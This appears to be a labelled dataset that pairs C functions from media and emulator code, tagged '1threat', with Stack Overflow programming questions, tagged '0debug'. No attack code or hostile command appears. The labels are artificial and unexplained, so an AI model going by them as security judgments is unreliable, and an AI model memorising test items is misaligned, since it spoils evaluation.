buf_ptr = buf;
buf_end = buf + buf_size;
if (s->repeat_field % 2 == 1) {
s->repeat_field++;
*data_size = sizeof(AVPicture);
goto the_end;
}
while (buf_ptr < buf_end) {
buf_start = buf_ptr;
code = find_start_code(&buf_ptr, buf_end, &s->header_state);
if (code >= 0) {
start_code_found = 1;
} else {
start_code_found = 0;
}
len = buf_ptr - buf_start;
if (len + (s->buf_ptr - s->buffer) > s->buffer_size) {
s->buf_ptr = s->buffer;
if (start_code_found)
s->start_code = code;
} else {
memcpy(s->buf_ptr, buf_start, len);
s->buf_ptr += len;
if (start_code_found) {
input_size = s->buf_ptr - s->buffer;
start_code = s->start_code;
s->buf_ptr = s->buffer;
s->start_code = code;
switch(start_code) {
case SEQ_START_CODE:
mpeg1_decode_sequence(avctx, s->buffer,
input_size);
break;
case PICTURE_START_CODE:
mpeg1_decode_picture(avctx,
s->buffer, input_size);
break;
case EXT_START_CODE:
mpeg_decode_extension(avctx,
s->buffer, input_size);
break;
default:
if (start_code >= SLICE_MIN_START_CODE &&
start_code <= SLICE_MAX_START_CODE) {
ret = mpeg_decode_slice(avctx, picture,
start_code, s->buffer, input_size);
if (ret == 1) {
if (s2->progressive_frame && s2->repeat_first_field) {
s2->repeat_first_field = 0;
s2->progressive_frame = 0;
if (++s->repeat_field > 2)
s->repeat_field = 0;
}
*data_size = sizeof(AVPicture);
goto the_end;
}
}
break;
}
}
}
}
the_end:
return buf_ptr - buf;
}
| 1threat |
void check_values (eq2_param_t *par)
{
if ((par->c == 1.0) && (par->b == 0.0) && (par->g == 1.0)) {
par->adjust = NULL;
}
#if HAVE_MMX && HAVE_6REGS
else if (par->g == 1.0 && ff_gCpuCaps.hasMMX) {
par->adjust = &affine_1d_MMX;
}
#endif
else {
par->adjust = &apply_lut;
}
}
| 1threat |
Compiler Error Message: The compiler failed with error code -532462766 : <p>This one seems to be originated after upgrading from vs2015 to vs2017.
The error is</p>
<blockquote>
<p>Compiler Error Message: The compiler failed with error code
-532462766.</p>
</blockquote>
<p>Some notes.. </p>
<ul>
<li>It works great on localhost.</li>
<li>The target framework is 4.5.2</li>
<li>I removed and re-installed all the nuget packages</li>
</ul>
<p>Whie tracing i have</p>
<pre><code>ModuleName AspNetInitializationExceptionModule
Notification BEGIN_REQUEST
HttpStatus 500
HttpReason Internal Server Error
HttpSubStatus 0
ErrorCode The operation completed successfully.
</code></pre>
<p>And the full message is such</p>
<pre><code>C:\Windows\SysWOW64\inetsrv>C:\Inetpub\vhosts\xxx\example.com\bin\roslyn\csc.exe /t:library /utf8output /nostdlib+
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\6c18e943\c9225320_3eb1d201\Antlr3.Runtime.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\e4a088a1\d00a7551_3eb1d201\Microsoft.AI.Agent.Intercept.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\cb16e378\ec642953_3eb1d201\Microsoft.AI.WindowsServer.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Activities.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.DynamicData\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.DynamicData.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\3bcba04c\243c6d4f_3eb1d201\Microsoft.AI.DependencyCollector.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\44aabbe1\43688156_3eb1d201\Microsoft.AspNet.Identity.EntityFramework.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\c0b08566\baa93959_3eb1d201\Microsoft.Owin.Security.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Activation\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Activation.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\4ed695a8\d6318e55_3eb1d201\Microsoft.AspNet.Identity.Core.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Routing\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Routing.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\e1faf943\7dc91593_3eb1d201\System.Web.Helpers.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\d06f7c29\f00a7a59_3eb1d201\Microsoft.Owin.Security.Facebook.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\72fa63a2\3e710999_3eb1d201\System.Web.Optimization.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\69efa965\80b6a15a_3eb1d201\Microsoft.Owin.Security.OAuth.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\b5b18ada\bafef257_3eb1d201\Microsoft.Owin.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.ApplicationServices\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.ApplicationServices.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.WorkflowServices\v4.0_4.0.0.0__31bf3856ad364e35\System.WorkflowServices.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\57f6acbf\bf5aa39d_3eb1d201\System.Web.WebPages.Razor.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Web\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Web.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\b18fe0f8\d27b8252_3eb1d201\Microsoft.AI.PerfCounterCollector.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\58d0af31\0bf4d912_7cb1d201\example.com.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\df149659\936bd959_3eb1d201\Microsoft.Owin.Security.Google.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\637d4f4f\aff16432_3eb1d201\EntityFramework.SqlServer.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\c43f3530\12875164_3eb1d201\PayPal.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Net.Http.WebRequest\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Http.WebRequest.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ComponentModel.DataAnnotations\v4.0_4.0.0.0__31bf3856ad364e35\System.ComponentModel.DataAnnotations.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\8137658b\df0ddf58_3eb1d201\Microsoft.Owin.Security.Cookies.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\cc389662\6acf8b55_3eb1d201\Microsoft.ApplicationInsights.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\97f593a8\fcd60f60_3eb1d201\Newtonsoft.Json.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\822a23c0\69b8113a_3eb1d201\log4net.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Abstractions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Abstractions.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\04f65f20\4100a85b_3eb1d201\Owin.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\e0e14e11\24f0e756_3eb1d201\Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\1b86b20b\543f309b_3eb1d201\System.Web.Razor.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\53a4612a\e06ea1ad_3eb1d201\WebGrease.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Web.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Web.Infrastructure.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Net.Http\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Http.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.WebPages.Deployment\v4.0_1.0.0.0__31bf3856ad364e35\System.Web.WebPages.Deployment.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\4e98cd9b\ec546e56_3eb1d201\Microsoft.AspNet.Identity.Owin.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\06f3878a\e6344c99_3eb1d201\System.Web.Mvc.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\a4d4a537\d27b8252_3eb1d201\Microsoft.AI.ServerTelemetryChannel.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Entity\v4.0_4.0.0.0__b77a5c561934e089\System.Web.Entity.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Services\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.Services.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\00ff694d\c557ce4d_3eb1d201\EntityFramework.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Data.DataSetExtensions\v4.0_4.0.0.0__b77a5c561934e089\System.Data.DataSetExtensions.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\2de5dee5\150fa158_3eb1d201\Microsoft.Owin.Host.SystemWeb.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\a265bb71\f207155a_3eb1d201\Microsoft.Owin.Security.MicrosoftAccount.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\00534da5\ba17e25a_3eb1d201\Microsoft.Owin.Security.Twitter.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\d9fef609\fe73809c_3eb1d201\System.Web.WebPages.Deployment.dll"
/R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\db1905dd\01e2289e_3eb1d201\System.Web.WebPages.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\assembly\dl3\3cda5a04\99511653_3eb1d201\Microsoft.AI.Web.dll"
/R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll" /out:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\App_global.asax.dwcg-nlu.dll"
/D:DEBUG /debug+ /optimize- /warnaserror- /w:4 /nowarn:1659;1699;1701;612;618 /langversion:6 /nowarn:1659;1699;1701 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\App_global.asax.dwcg-nlu.0.cs" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\57e80104\20ff5a91\App_global.asax.dwcg-nlu.1.cs"
</code></pre>
| 0debug |
static bool nbd_process_legacy_socket_options(QDict *output_options,
QemuOpts *legacy_opts,
Error **errp)
{
const char *path = qemu_opt_get(legacy_opts, "path");
const char *host = qemu_opt_get(legacy_opts, "host");
const char *port = qemu_opt_get(legacy_opts, "port");
const QDictEntry *e;
if (!path && !host && !port) {
return true;
}
for (e = qdict_first(output_options); e; e = qdict_next(output_options, e))
{
if (strstart(e->key, "server.", NULL)) {
error_setg(errp, "Cannot use 'server' and path/host/port at the "
"same time");
return false;
}
}
if (path && host) {
error_setg(errp, "path and host may not be used at the same time");
return false;
} else if (path) {
if (port) {
error_setg(errp, "port may not be used without host");
return false;
}
qdict_put(output_options, "server.type", qstring_from_str("unix"));
qdict_put(output_options, "server.data.path", qstring_from_str(path));
} else if (host) {
qdict_put(output_options, "server.type", qstring_from_str("inet"));
qdict_put(output_options, "server.data.host", qstring_from_str(host));
qdict_put(output_options, "server.data.port",
qstring_from_str(port ?: stringify(NBD_DEFAULT_PORT)));
}
return true;
}
| 1threat |
How do I implement a binary expression tree in Java? : <p>I am struggling to create a binary expression tree, and haven't found exactly what I'm looking for online.</p>
| 0debug |
Scala: extract the word before a specific character : <p>I have string like this "abc.def ghi.jkl mno.pqr" and would like to extract the word before each "." and have an output string like "abc ghi mno". How do I do this in Scala?</p>
| 0debug |
Docker, PhpStorm & Xdebug: Can't find source position error : <p>I built an image that is based on a <code>php:5.6-fpm-alpine</code> image and I run a symfony-based application therefore I run both cli and web-based php scripts. </p>
<p>So I spawned a shell over my running container via:</p>
<pre><code>docker exec -ti ^container_id^ /bin/sh
</code></pre>
<p>And over the shell I exported the following enviromental variables:</p>
<pre><code>export PHP_IDE_CONFIG="serverName=0.0.0.0:5092"
export XDEBUG_CONFIG="idekey=PHPSTORM"
</code></pre>
<p>And the IDE has been setup as explained in the following links:</p>
<ul>
<li><a href="https://stackoverflow.com/questions/47284905/cant-connect-phpstorm-with-xdebug-with-docker/47450391#47450391">Can't connect PhpStorm with xdebug with Docker</a></li>
<li><a href="https://stackoverflow.com/questions/46263043/how-to-setup-docker-phpstorm-xdebug-on-ubuntu-16-04">How to setup Docker + PhpStorm + xdebug on Ubuntu 16.04</a></li>
</ul>
<p>But when I enable the Xdebug on phpstorm even it debugs normally I get the following error message:</p>
<p><a href="https://i.stack.imgur.com/ImkOL.png" rel="noreferrer"><img src="https://i.stack.imgur.com/ImkOL.png" alt="Error displayed into my PHPSTORM running instance"></a> </p>
<p>Do you know why that happens.</p>
| 0debug |
static void bufp_alloc(USBRedirDevice *dev, uint8_t *data, uint16_t len,
uint8_t status, uint8_t ep, void *free_on_destroy)
{
struct buf_packet *bufp;
if (!dev->endpoint[EP2I(ep)].bufpq_dropping_packets &&
dev->endpoint[EP2I(ep)].bufpq_size >
2 * dev->endpoint[EP2I(ep)].bufpq_target_size) {
DPRINTF("bufpq overflow, dropping packets ep %02X\n", ep);
dev->endpoint[EP2I(ep)].bufpq_dropping_packets = 1;
}
if (dev->endpoint[EP2I(ep)].bufpq_dropping_packets) {
if (dev->endpoint[EP2I(ep)].bufpq_size >
dev->endpoint[EP2I(ep)].bufpq_target_size) {
free(data);
return;
}
dev->endpoint[EP2I(ep)].bufpq_dropping_packets = 0;
}
bufp = g_new(struct buf_packet, 1);
bufp->data = data;
bufp->len = len;
bufp->offset = 0;
bufp->status = status;
bufp->free_on_destroy = free_on_destroy;
QTAILQ_INSERT_TAIL(&dev->endpoint[EP2I(ep)].bufpq, bufp, next);
dev->endpoint[EP2I(ep)].bufpq_size++;
}
| 1threat |
static void test_source_flush_event_notifier(void)
{
EventNotifierTestData data = { .n = 0, .active = 10, .auto_set = true };
event_notifier_init(&data.e, false);
aio_set_event_notifier(ctx, &data.e, event_ready_cb);
g_assert(g_main_context_iteration(NULL, false));
g_assert_cmpint(data.n, ==, 0);
g_assert_cmpint(data.active, ==, 10);
event_notifier_set(&data.e);
g_assert(g_main_context_iteration(NULL, false));
g_assert_cmpint(data.n, ==, 1);
g_assert_cmpint(data.active, ==, 9);
g_assert(g_main_context_iteration(NULL, false));
while (g_main_context_iteration(NULL, false));
g_assert_cmpint(data.n, ==, 10);
g_assert_cmpint(data.active, ==, 0);
g_assert(!g_main_context_iteration(NULL, false));
aio_set_event_notifier(ctx, &data.e, NULL);
while (g_main_context_iteration(NULL, false));
event_notifier_cleanup(&data.e);
}
| 1threat |
static void test_validate_union_flat(TestInputVisitorData *data,
const void *unused)
{
UserDefFlatUnion *tmp = NULL;
Visitor *v;
Error *err = NULL;
v = validate_test_init(data,
"{ 'enum1': 'value1', "
"'string': 'str', "
"'boolean': true }");
visit_type_UserDefFlatUnion(v, &tmp, NULL, &err);
g_assert(!err);
qapi_free_UserDefFlatUnion(tmp);
}
| 1threat |
static void gen_pool32axf (CPUMIPSState *env, DisasContext *ctx, int rt, int rs,
int *is_branch)
{
int extension = (ctx->opcode >> 6) & 0x3f;
int minor = (ctx->opcode >> 12) & 0xf;
uint32_t mips32_op;
switch (extension) {
case TEQ:
mips32_op = OPC_TEQ;
goto do_trap;
case TGE:
mips32_op = OPC_TGE;
goto do_trap;
case TGEU:
mips32_op = OPC_TGEU;
goto do_trap;
case TLT:
mips32_op = OPC_TLT;
goto do_trap;
case TLTU:
mips32_op = OPC_TLTU;
goto do_trap;
case TNE:
mips32_op = OPC_TNE;
do_trap:
gen_trap(ctx, mips32_op, rs, rt, -1);
break;
#ifndef CONFIG_USER_ONLY
case MFC0:
case MFC0 + 32:
check_cp0_enabled(ctx);
if (rt == 0) {
break;
}
gen_mfc0(ctx, cpu_gpr[rt], rs, (ctx->opcode >> 11) & 0x7);
break;
case MTC0:
case MTC0 + 32:
check_cp0_enabled(ctx);
{
TCGv t0 = tcg_temp_new();
gen_load_gpr(t0, rt);
gen_mtc0(ctx, t0, rs, (ctx->opcode >> 11) & 0x7);
tcg_temp_free(t0);
}
break;
#endif
case 0x2c:
switch (minor) {
case SEB:
gen_bshfl(ctx, OPC_SEB, rs, rt);
break;
case SEH:
gen_bshfl(ctx, OPC_SEH, rs, rt);
break;
case CLO:
mips32_op = OPC_CLO;
goto do_cl;
case CLZ:
mips32_op = OPC_CLZ;
do_cl:
check_insn(ctx, ISA_MIPS32);
gen_cl(ctx, mips32_op, rt, rs);
break;
case RDHWR:
gen_rdhwr(ctx, rt, rs);
break;
case WSBH:
gen_bshfl(ctx, OPC_WSBH, rs, rt);
break;
case MULT:
mips32_op = OPC_MULT;
goto do_mul;
case MULTU:
mips32_op = OPC_MULTU;
goto do_mul;
case DIV:
mips32_op = OPC_DIV;
goto do_div;
case DIVU:
mips32_op = OPC_DIVU;
goto do_div;
do_div:
check_insn(ctx, ISA_MIPS32);
gen_muldiv(ctx, mips32_op, 0, rs, rt);
break;
case MADD:
mips32_op = OPC_MADD;
goto do_mul;
case MADDU:
mips32_op = OPC_MADDU;
goto do_mul;
case MSUB:
mips32_op = OPC_MSUB;
goto do_mul;
case MSUBU:
mips32_op = OPC_MSUBU;
do_mul:
check_insn(ctx, ISA_MIPS32);
gen_muldiv(ctx, mips32_op, (ctx->opcode >> 14) & 3, rs, rt);
break;
default:
goto pool32axf_invalid;
}
break;
case 0x34:
switch (minor) {
case MFC2:
case MTC2:
case MFHC2:
case MTHC2:
case CFC2:
case CTC2:
generate_exception_err(ctx, EXCP_CpU, 2);
break;
default:
goto pool32axf_invalid;
}
break;
case 0x3c:
switch (minor) {
case JALR:
case JALR_HB:
gen_compute_branch (ctx, OPC_JALR, 4, rs, rt, 0);
*is_branch = 1;
break;
case JALRS:
case JALRS_HB:
gen_compute_branch (ctx, OPC_JALRS, 4, rs, rt, 0);
*is_branch = 1;
break;
default:
goto pool32axf_invalid;
}
break;
case 0x05:
switch (minor) {
case RDPGPR:
check_cp0_enabled(ctx);
check_insn(ctx, ISA_MIPS32R2);
gen_load_srsgpr(rt, rs);
break;
case WRPGPR:
check_cp0_enabled(ctx);
check_insn(ctx, ISA_MIPS32R2);
gen_store_srsgpr(rt, rs);
break;
default:
goto pool32axf_invalid;
}
break;
#ifndef CONFIG_USER_ONLY
case 0x0d:
switch (minor) {
case TLBP:
mips32_op = OPC_TLBP;
goto do_cp0;
case TLBR:
mips32_op = OPC_TLBR;
goto do_cp0;
case TLBWI:
mips32_op = OPC_TLBWI;
goto do_cp0;
case TLBWR:
mips32_op = OPC_TLBWR;
goto do_cp0;
case WAIT:
mips32_op = OPC_WAIT;
goto do_cp0;
case DERET:
mips32_op = OPC_DERET;
goto do_cp0;
case ERET:
mips32_op = OPC_ERET;
do_cp0:
gen_cp0(env, ctx, mips32_op, rt, rs);
break;
default:
goto pool32axf_invalid;
}
break;
case 0x1d:
switch (minor) {
case DI:
check_cp0_enabled(ctx);
{
TCGv t0 = tcg_temp_new();
save_cpu_state(ctx, 1);
gen_helper_di(t0, cpu_env);
gen_store_gpr(t0, rs);
ctx->bstate = BS_STOP;
tcg_temp_free(t0);
}
break;
case EI:
check_cp0_enabled(ctx);
{
TCGv t0 = tcg_temp_new();
save_cpu_state(ctx, 1);
gen_helper_ei(t0, cpu_env);
gen_store_gpr(t0, rs);
ctx->bstate = BS_STOP;
tcg_temp_free(t0);
}
break;
default:
goto pool32axf_invalid;
}
break;
#endif
case 0x2d:
switch (minor) {
case SYNC:
break;
case SYSCALL:
generate_exception(ctx, EXCP_SYSCALL);
ctx->bstate = BS_STOP;
break;
case SDBBP:
check_insn(ctx, ISA_MIPS32);
if (!(ctx->hflags & MIPS_HFLAG_DM)) {
generate_exception(ctx, EXCP_DBp);
} else {
generate_exception(ctx, EXCP_DBp);
}
break;
default:
goto pool32axf_invalid;
}
break;
case 0x35:
switch (minor & 3) {
case MFHI32:
gen_HILO(ctx, OPC_MFHI, minor >> 2, rs);
break;
case MFLO32:
gen_HILO(ctx, OPC_MFLO, minor >> 2, rs);
break;
case MTHI32:
gen_HILO(ctx, OPC_MTHI, minor >> 2, rs);
break;
case MTLO32:
gen_HILO(ctx, OPC_MTLO, minor >> 2, rs);
break;
default:
goto pool32axf_invalid;
}
break;
default:
pool32axf_invalid:
MIPS_INVAL("pool32axf");
generate_exception(ctx, EXCP_RI);
break;
}
}
| 1threat |
Python program to find all video titles of a playilist : <p>I want to quickly find titles of all videos of a playlist on youtube. Please tell me how to do it using python.</p>
| 0debug |
2D array interview mcq : #include <stdiio.h>
int main()
{ int arr2D[3][3];
printf("%d\n",((arr2D==*arr2D) && (*arr2D==arr2D[0])));
return o;
}
how the values stores at arr2D and *arr2d is same whereas arr2D is a constant pointer which will store the address of the first element and *arr2d means the value present at the address which is pointed by arr2D?
| 0debug |
How to save data in a *table view* on swift? : <p>I'm new to swift and iOS development, so I'm still learning how everything works in Xcode. I'm currently building a list application which uses a table view, but the list becomes empty every time I reopen the app. I've looked at tutorials on youtube and few other places but all I could find was saving data on a label, which didn't work for me on my table view. I would be really grateful if someone could guide me as to how to save data in a tableview on swift. Thank you very much!</p>
| 0debug |
static void encode_sigpass(Jpeg2000T1Context *t1, int width, int height, int bandno, int *nmsedec, int bpno)
{
int y0, x, y, mask = 1 << (bpno + NMSEDEC_FRACBITS);
for (y0 = 0; y0 < height; y0 += 4)
for (x = 0; x < width; x++)
for (y = y0; y < height && y < y0+4; y++){
if (!(t1->flags[y+1][x+1] & JPEG2000_T1_SIG) && (t1->flags[y+1][x+1] & JPEG2000_T1_SIG_NB)){
int ctxno = ff_jpeg2000_getsigctxno(t1->flags[y+1][x+1], bandno),
bit = t1->data[y][x] & mask ? 1 : 0;
ff_mqc_encode(&t1->mqc, t1->mqc.cx_states + ctxno, bit);
if (bit){
int xorbit;
int ctxno = ff_jpeg2000_getsgnctxno(t1->flags[y+1][x+1], &xorbit);
ff_mqc_encode(&t1->mqc, t1->mqc.cx_states + ctxno, (t1->flags[y+1][x+1] >> 15) ^ xorbit);
*nmsedec += getnmsedec_sig(t1->data[y][x], bpno + NMSEDEC_FRACBITS);
ff_jpeg2000_set_significance(t1, x, y, t1->flags[y+1][x+1] >> 15);
}
t1->flags[y+1][x+1] |= JPEG2000_T1_VIS;
}
}
}
| 1threat |
static void show_packet(WriterContext *w, AVFormatContext *fmt_ctx, AVPacket *pkt, int packet_idx)
{
char val_str[128];
AVStream *st = fmt_ctx->streams[pkt->stream_index];
struct print_buf pbuf = {.s = NULL};
print_section_header("packet");
print_str("codec_type", av_x_if_null(av_get_media_type_string(st->codec->codec_type), "unknown"));
print_int("stream_index", pkt->stream_index);
print_ts ("pts", pkt->pts);
print_time("pts_time", pkt->pts, &st->time_base);
print_ts ("dts", pkt->dts);
print_time("dts_time", pkt->dts, &st->time_base);
print_ts ("duration", pkt->duration);
print_time("duration_time", pkt->duration, &st->time_base);
print_val("size", pkt->size, unit_byte_str);
print_fmt("pos", "%"PRId64, pkt->pos);
print_fmt("flags", "%c", pkt->flags & AV_PKT_FLAG_KEY ? 'K' : '_');
print_section_footer("packet");
av_free(pbuf.s);
fflush(stdout);
}
| 1threat |
UILabel subclass - text cut off in bottom despite label being correct height : <p>I have a problem with UILabel subclass cutting off text in the bottom. Label is of proper height to fit the text, there is some space left in the bottom, but the text is still being cut off.</p>
<p><a href="https://i.stack.imgur.com/iT4v1.png" rel="noreferrer"><img src="https://i.stack.imgur.com/iT4v1.png" alt="The label"></a></p>
<p>The red stripes are border added to label's layer.</p>
<p>I subclass the label to add edge insets.</p>
<pre><code>override func sizeThatFits(size: CGSize) -> CGSize {
var size = super.sizeThatFits(size)
size.width += insets.left + insets.right
size.height += insets.top + insets.bottom
return size
}
override func drawTextInRect(rect: CGRect) {
super.drawTextInRect(UIEdgeInsetsInsetRect(rect, insets))
}
</code></pre>
